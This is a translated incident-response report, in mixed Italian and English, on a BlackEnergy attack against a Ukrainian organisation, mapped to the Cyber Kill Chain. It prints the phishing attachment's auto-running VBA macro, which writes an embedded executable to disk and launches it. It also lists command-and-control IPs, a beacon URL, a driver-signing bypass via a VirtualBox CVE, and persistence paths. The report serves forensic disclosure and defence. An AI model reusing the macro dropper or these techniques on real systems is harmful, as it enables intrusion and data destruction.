SMANTELLAMENTO DI BLACKENERGY, PARTE 3 – TUTTI A BORDO!
Indice:
Abbording – the act of abbordaggio una nave nemica nave as parte of an attacco.
- Prologo
- Capitolo 1. “Azioni sugli Obiettivi” e gli obiettivi dell’attacco
- Capitolo 2. “Installazione e Sfruttamento”, ovvero distribuire BlackEnergy sfruttando le vulnerabilità
- Capitolo 3. “Azioni sugli Obiettivi”, “Ricognizione”
- Capitolo 4. “Comando e Controllo (C2)”
- Capitolo 5. “Consegna” dei moduli BlackEnergy
- Valutazione delle conseguenze
- Crediti
In today’s post, I will describe a part of investigation of one cyber security incident that has eventually evolved into a global investigation connected with an attack based on BlackEnergy that has hit a number of industries in Ukraine. As we progressed through investigation and performed a systematic retrospective analysis, we have mapped the attack to the Lockheed Martin’s Cyber Kill Chain methodology and thus I will refer to its structure during my story.
PROLOGO
Qui inizia la storia. Devo mantenere un certo livello di discrezione, quindi i nomi degli utenti e dei server di infrastruttura sono mascherati e alterati. Tuttavia, le date e gli indirizzi IP esterni sono inalterati e li condivido nello stesso stato come apparivano nei file di log. Avevamo un piano d’azione seguente: appena scopriamo qualsiasi Indicatore di Compromesso (IOC), lo confrontiamo con i dati di log e, basandoci su ulteriori scoperte, correggiamo i nostri filtri e poi avviamo un’altra ricerca. Abbiamo sistematicamente setacciato gigabyte di log e il quadro generale ha iniziato a emergere più chiaramente per noi, che ora condividerò con voi in questo articolo.
Domenica mattina del 25 ottobre, ho ricevuto una chiamata dal nostro dipartimento di amministrazione IT con il messaggio che i server controller di dominio si sono spenti improvvisamente durante la notte e non sono mai più ripartiti. Quando il nostro team è arrivato sul posto, la prima cosa che abbiamo chiesto sono state le immagini dei server “crashati” (ovviamente avevamo immagini virtuali). L’analisi iniziale ha chiaramente indicato che entrambi i server avevano il loro MBR sovrascritto. Siamo riusciti a recuperare l’MBR applicando un po’ di magia pratica con TestDisk (https://en.wikipedia.org/wiki/TestDisk) e abbiamo proceduto con l’analisi. Le cose sono diventate più interessanti. La maggior parte dei file sul disco erano riempiti di zeri, quindi sembravano tutti come stessi file con la stessa dimensione ma dentro c’erano solo zeri! Tra i file sopravvissuti, alcuni file di log degli eventi hanno servito come punto di partenza per iniziare a mappare tutti gli eventi anomali sulla linea temporale. Descriverò gli indicatori scoperti in ordine inverso, dal momento in cui è avvenuto l’incidente fino all’inizio (penetrazione).
CAPITOLO 1. AZIONI E OBIETTIVI DELL’ATTACCO
Mentre lavoravamo con i dati di log dei controller di dominio recuperati, abbiamo ricevuto un’altra chiamata affermando che un altro server è stato “infettato” con sintomi simili, questa volta però era un server applicativo. Quindi, abbiamo ottenuto un’immagine di questo server anche:
Abbiamo analizzato gli eventi che si sono verificati proprio prima del “crash” e li abbiamo mappati sulla nostra linea temporale:
Lasciatemi spiegare un po’ cosa esattamente è visualizzato qui. Un’area con bordo blu segna i risultati delle azioni che abbiamo testimoniato come crash dei server. Poco prima dello spegnimento, sono stati registrati tentativi di accesso non autorizzati dagli account amministratore di dominio. Tra le azioni eseguite ci sono la modifica del
svchost.exe
servizio e la generazione del servizio figlio msDefenderSvc
:
https://www.virustotal.com/en/file/f52869474834be5a6b5df7f8f0c46cbc7e9b22fa5cb30bee0f363ec6eb056b95/analysis/A sinistra, c’è un altro evento di interesse che prova che la politica globale è stata modificata:
Senza un’idea prematura e guardando ai contenuti dello script vediamo che quando un utente accede al suo PC, un file chiamato ololo.exe
(che ho parzialmente reversato e descritto qui: https://socprime.com/en/blog/dismantling-killdisk-reverse-of-the-blackenergy-destructive-component/) verrà automaticamente scaricato da una condivisione di rete.
Inoltre, analizzando i log delle workstation (anticipando un po’ voglio dire che abbiamo controllato i log di più di cento workstation) abbiamo scoperto un’anomalia seguente: un insieme di eventi provenienti da utenti privilegiati che hanno modificato operazioni pianificate sui PC degli utenti:
Ecco come l’evento appariva nei log del controller di dominio:
Inoltre, questo è come appariva sul PC dell’utente:
Questa era fondamentalmente una “colpo finale”, nel caso in cui il controller di dominio non riuscisse a completare il suo compito e si schiantasse prima di poter distribuire la politica di gruppo alle workstation. Di conseguenza, possiamo chiaramente mappare questa parte dell’attacco alle “Azioni sugli Obiettivi” del modello Kill Chain. In questo caso, l’obiettivo è distruggere i dati sulla massima quantità possibile di PC.
CAPITOLO 2. “INSTALLAZIONE E SFRUTTAMENTO”, OVVERO DISTRIBUIRE BLACKENERGY SFRUTTANDO LE VULNERABILITÀ.
Allora, cosa è successo prima che gli avversari ottenessero l’accesso ai server? Analizzando i log degli eventi, abbiamo scoperto la seguente sequenza degli eventi:Descrizione delle fasi dell’attacco numerate:
1 & 2 – accesso VPN non autorizzato e subito accesso RDP ai controller di dominio
3 – installazione di VBoxDrv.sys
servizio (CVE-2008-3431). Questo passaggio era necessario per aggirare il DSE (Driver Signature Enforcement è un controllo obbligatorio delle firme dei driver) senza un riavvio ( http://www.coresecurity.com/content/virtualbox-privilege-escalation-vulnerability ).
4 – poiché il DSE è neutralizzato come parte del passaggio precedente, l’installazione di driver auto-firmati adpu320.sys
and amdide.sys
non sarà più un problema.
Entrambi i file .sys producono lo stesso valore hash. Al 06.11.2015 solo 2 soluzioni antivirus potevano rilevarli, ma già allora era chiaro che stavamo trattando con BlackEnergy (entrambi i controller di dominio avevano una soluzione antivirus in esecuzione ma non era una di quelle 2 AV che potevano rilevarla):4 giorni dopo, 12 antivirus già rilevavano questi campioni.
Pertanto, possiamo concludere che questa fase dell’attacco può essere mappata con successo alle fasi della Cyber Kill Chain di “Installazione” e “Sfruttamento”.
CAPITOLO 3. “AZIONI SUGLI OBIETTIVI”, “RICOGNIZIONE”
È ovvio che gli account amministratore sono stati compromessi ed è ragionevole sospettare che anche le loro workstation siano state soggette ad accessi non autorizzati. Basandoci sull’analisi dei loro log di workstation (e di alcune centinaia di altre workstation), è stata scoperta un’attività anomala correlata all’uso dell’utilità di gestione remota da Sysinternals
suite PsExec
:
La linea temporale sopra descrive un frammento dell’attività relativa alla raccolta dati dalle workstation.
Ecco come l’evento appariva nei log delle workstation:
Questa fase può essere mappata nuovamente al modello Cyber Kill Chain, corrispondendo rispettivamente a “Ricognizione” e “Azioni sugli Obiettivi” (gli obiettivi essendo la raccolta di dati su infrastruttura e utenti). Ho mappato questa fase a “Ricognizione” anche perché c’è forte sospetto che gli avversari abbiano raccolto dati aggiuntivi dalle workstation per proseguire con il loro attacco.
CAPITOLO 4. “COMANDO E CONTROLLO (C2)”, COMUNICAZIONE CON I SERVER BLACKENERGY
Abbiamo eseguito un’analisi parallela sia dei log delle workstation che dei log del firewall. Poiché era chiaro che BlackEnergy è stato usato per attaccarci, abbiamo usato tutte le ricerche e gli articoli pubblicati su questo argomento per verificare le comunicazioni con i centri di comando noti:Come visto in questa parte della cronologia, tracciamo la storia dell’attacco fino a maggio 2015! Il 15.05.2015 è il giorno in cui avviene la prima comunicazione con uno dei noti server di comando e controllo che è anche parte della rete Tor (
5.149.254.114
).
Sfortunatamente, una workstation che ha effettuato la comunicazione con questo centro di comando ha anche contenuto un file con le password per diversi profili YouTube e il 22.05.2015 quegli account sono stati dirottati. L’hacking è stato condotto da altri due server 185.61.138.143
and 46.28.68.158
(nodi Tor ancora) sono stati usati indirizzi email falsi e numeri di telefono di recupero. Non ci sono stati danni particolari causati dall’attacco e durante quel tempo, non sembrava nemmeno un attacco mirato. Gli account sono stati rapidamente recuperati, è stata aggiunta un’autenticazione a 2 fattori, sono state tratte conclusioni e l’incidente è stato mantenuto chiuso fino a novembre 2015 – il giorno in cui è chiaramente diventato un pezzo di un puzzle più grande!
Credo che questa fase dell’attacco possa essere classificata come “Comando & Controllo (C2)”:
CAPITOLO 5. “CONSEGNA” DEI MODULI BLACKENERGY
Abbiamo recuperato un elenco di tutte le workstation che hanno effettuato la comunicazione con i server di comando dai log del firewall e abbiamo costruito un filtro basato sugli indirizzi IP di queste workstation, questo filtro è stato utilizzato per cercare attraverso tutta l’attività che queste macchine hanno condotto nell’intero 2015 con l’obiettivo di trovare eventuali anomalie e schemi. Gli schemi sono stati trovati. Un legame comune (a parte il numero di server ordinari come Google o Facebook/VK/Twitter ecc.) sembrava essere un singolo server con un IP di 176.53.127.194 (e di nuovo questo è un nodo Tor!):
Il 23.04.2015 uno degli impiegati ha ricevuto una normale email, che ha mostrato alcuni dettagli interessanti dopo un’osservazione più approfondita (ovviamente durante il tempo dell’indagine, più di mezzo anno dopo l’apertura dell’email):
Per prima cosa, guardiamo agli header dell’email:
Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]
) Thu, 23 Apr 2015 09:43:45 +0300
Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)
by mx1-mail.com [5.149.248.67]
with esmtp (envelope-from <info@rada.gov.ua>)
From: «info@rada.gov.ua» <info@rada.gov.ua>
Return-Path: info@rada.gov.ua
5.149.248.67 – un indirizzo IP già noto che è stato usato per inviare email simili ad altre organizzazioni (https://cys-centrum.com/ru/news/black_energy_2_3).
Per quanto riguarda l’allegato, un file .xls contiene la seguente macro:
Private Sub Init0()
a(1) = Array(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 232, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 106, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0)
…..пропущено……
a(864) = Array(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0).
End Sub
Private Sub MacroExpl()
Dim fnum As Integer
Dim fname As String
Dim i As Integer
Dim j As Integer
Dim aa As Byte
Init0
…
Init28
fnum = FreeFile
fname = Environ(“TMP”) & “vba_macro.exe“
Open fname For Binary As #fnum
For i = 1 To 864
For j = 0 To 127
aa = a(i)(j)
Put #fnum, , aa
Next j
Next i
Close #fnum
Dim rss
rss = Shell(fname, 1)
End Sub
Private Sub Document_Open()
MacroExpl
End Sub
By putting together all 864 elements of the array А, as an output we will receive vba_macro.exe
, che in realtà è un BlackEnergy dropper
https://www.hybrid-analysis.com/sample/ca7a8180996a98e718f427837f9d52453b78d0a307e06e1866db4d4ce969d525?environmentId=1Il dropper avvia una connessione a un centro di comando già noto a noi:Successivamente, il malware riceve ulteriori “istruzioni”, forma un file chiamato
FONTCACHE.DAT
, e lo carica utilizzando rundll32.exe
poiché FONTCACHE.DAT
è in realtà una variazione di packet.dll
– dal Hackers Encyclopedia 2002, sviluppato da Whirlwind Software per Windows OS:C:WINDOWSsystem32rundll32.exe C:WINDOWSsystem32rundll32.exe" "C:Documents and Settings<USER>Local SettingsApplication DataFONTCACHE.DAT"
Poi lo scrive in Avvio:C:Documents and Settings<USER>Start MenuProgramsStartup{22A16F66-CB92-4B66-8BDE-26B5CD34553F}.lnk
Ora diamo uno sguardo più approfondito all’immagine nel piè di pagina dell’email che non è riuscita a caricare:Un link alla nostra “immagine” appare così:
src=”http://176.53.127.194/bWFpbF9pdmFub3YuaXZhbkBkb21lbi51YQ==.png
Dopo qualche decodifica Base64 si trasforma in:src=”http://176.53.127.194/mail_ivanov.ivan@domen.ua.png
Pertanto, questo è un avviso per gli avversari che conferma il fatto che Ivan Ivanov ha aperto con successo un’email ed è pronto a “ricevere ulteriori istruzioni”.
Voglio sottolineare ancora una volta che c’era solo un’email in aprile e aveva solo un destinatario.
Ora diamo uno sguardo alle email ricevute a luglio (invio massiccio a più di 2000 indirizzi). Un pattern comune è che tutte le email contenevano lo stesso “beacon” che ha riferito allo stesso IP (176.53.127.194
) e ha identificato precisamente il destinatario. Quindi non si trattava solo di una campagna di spam, ma di una campagna mirata, e l’unica parte che era diversa è l’assenza del prefisso ”mail_” nel messaggio decodificato:
Lo stesso indirizzo IP nell’intestazione:
Received: from mx1-mail.com (mx1-mail.com [5.149.248.67]
) by
Received: from webmail.rada.gov.ua (port=80 helo=webmail.rada.gov.ua)
by mx1-mail.com [5.149.248.67]
con esmtp (envelope-from <pravyysektor@rada.gov.ua>)
Da: “pravyysektor@rada.gov.ua” <pravyysektor@rada.gov.ua>
Data: Tue, 28 Jul 2015 09:08:38 +0200
Percorso di ritorno: pravyysektor@rada.gov.ua
Contenuto della lettera che mostra chiaramente il nostro “beacon”:Nonostante il fatto che l’invio massiccio abbia indirizzato l’intera azienda, ovviamente, uno spam e che email con tale testo siano proibite da aprire, alcuni utenti hanno comunque aperto l’email, causando un’esplosione di comunicazione con un noto centro di comando e controllo:
Come osservato nella linea temporale, la prima comunicazione ha scaricato 28 863 byte, la successiva già 359 276 byte ecc. Le comunicazioni avevano una chiara sequenza e struttura chiara:
Non c’è dubbio nel classificare questa fase dell’attacco come “Consegna”:
Come possiamo vedere, l’attacco ha tutti i segni della struttura APT che può essere chiaramente descritta utilizzando la metodologia Cyber Kill Chain.
VALUTAZIONE DELLE CONSEGUENZE
Sul lato negativo: i dati sono stati distrutti su due controller di dominio, un server di applicazione e poco più di una dozzina di PC.Sul lato positivo delle cose: abbiamo ottenuto un test di penetrazione gratuito, un’esperienza inestimabile di una vera indagine APT, abbiamo creato/ottimizzato una serie di strumenti che non solo automatizzano il nostro lavoro con l’elaborazione dei log ma anche l’analisi inversa del malware (ma sto andando avanti troppo, questo è un argomento per un altro articolo completo). La gestione ha acquisito una comprensione molto migliore dello scopo della sicurezza informatica (inestimabile!). Questa singola dimostrazione di una minaccia reale e l’indagine che ne è seguita ci ha aiutato più di precedenti manifestazioni di preoccupazioni o minacce ipotetiche. La collaborazione dettagliata con gli amministratori IT ha portato la nostra collaborazione professionale al livello successivo. Pertanto, considero questi eventi un vero addestramento al combattimento informatico e la migliore lezione per ottenere una reale comprensione dei metodi e delle tecniche degli avversari.
Come conclusione, voglio dire che molte cose sono state lasciate fuori dall’articolo e alcuni pezzi sono ancora in fase di studio approfondito.
Ci sono due obiettivi che voglio raggiungere pubblicando questa indagine:
- Per dimostrare che da un lato BlackEnergy non è un mega-mostro da lanciare su un pianeta disabitato e che può, sei mesi dopo, costruire la propria base operativa che può alimentare la sua sopravvivenza 🙂 D’altra parte, è uno strumento potente e specializzato che può, nelle mani di uno specialista, causare danni massicci alla vittima dell’attacco.
- Per sottolineare che un attacco che sfrutta BlackEnergy è solo uno degli esempi dell’evoluzione delle tecnologie che sono attivamente utilizzate dai cybercriminali. Queste non sono semplici incursioni informatiche, stiamo affrontando operazioni finemente organizzate e precisamente pianificate, simili a quelle condotte da forze speciali militari (l’immagine dell’articolo è stata scelta per questa associazione).
Basato su quanto sopra, possiamo costruire uno dei scenari di utilizzo di tali informazioni: perché uno dovrebbe hackerare una banca quando può semplicemente acquistare un accesso a un’infrastruttura di qualsiasi azienda della catena di approvvigionamento, che ha una connettività VPN site-to-site costante e ricevere un accesso “ufficialmente autorizzato” (possiamo riferirci al cartone animato su una banca e un bidello: https://www.youtube.com/watch?v=fB2b-lTjCQA ).
Come al solito, sarei grato a tutti coloro che controllano i loro dati di log per gli indicatori menzionati (IOC) dopo aver letto l’articolo.
Nei prossimi articoli condividerò alcuni metodi che consentono di rilevare alcuni indicatori delle attività degli avversari descritti e consentono di costruire un insieme complesso di misure organizzative e tecniche volte a minimizzare la probabilità che tali incidenti abbiano luogo in un’organizzazione, o almeno a incrementare la probabilità di una loro rapida scoperta.
CREDITI
Un enorme grazie va ai miei colleghi per il loro entusiasmo, perseveranza e un lavoro ben fatto. Voglio esprimere un ringraziamento dedicato a Marina Krotofil e al team di Andrii Bezverkhyi per l’assistenza nella preparazione dell’analisi e dell’articolo. Ulteriore ringraziamento va a HPE , LanTec and SOC Prime per l’aiuto materiale e tecnico con hardware e software forniti durante l’indagine e il contrasto all’attacco.
Tradotto dall’originale di Andrii Bezverkhyi | CEO SOC Prime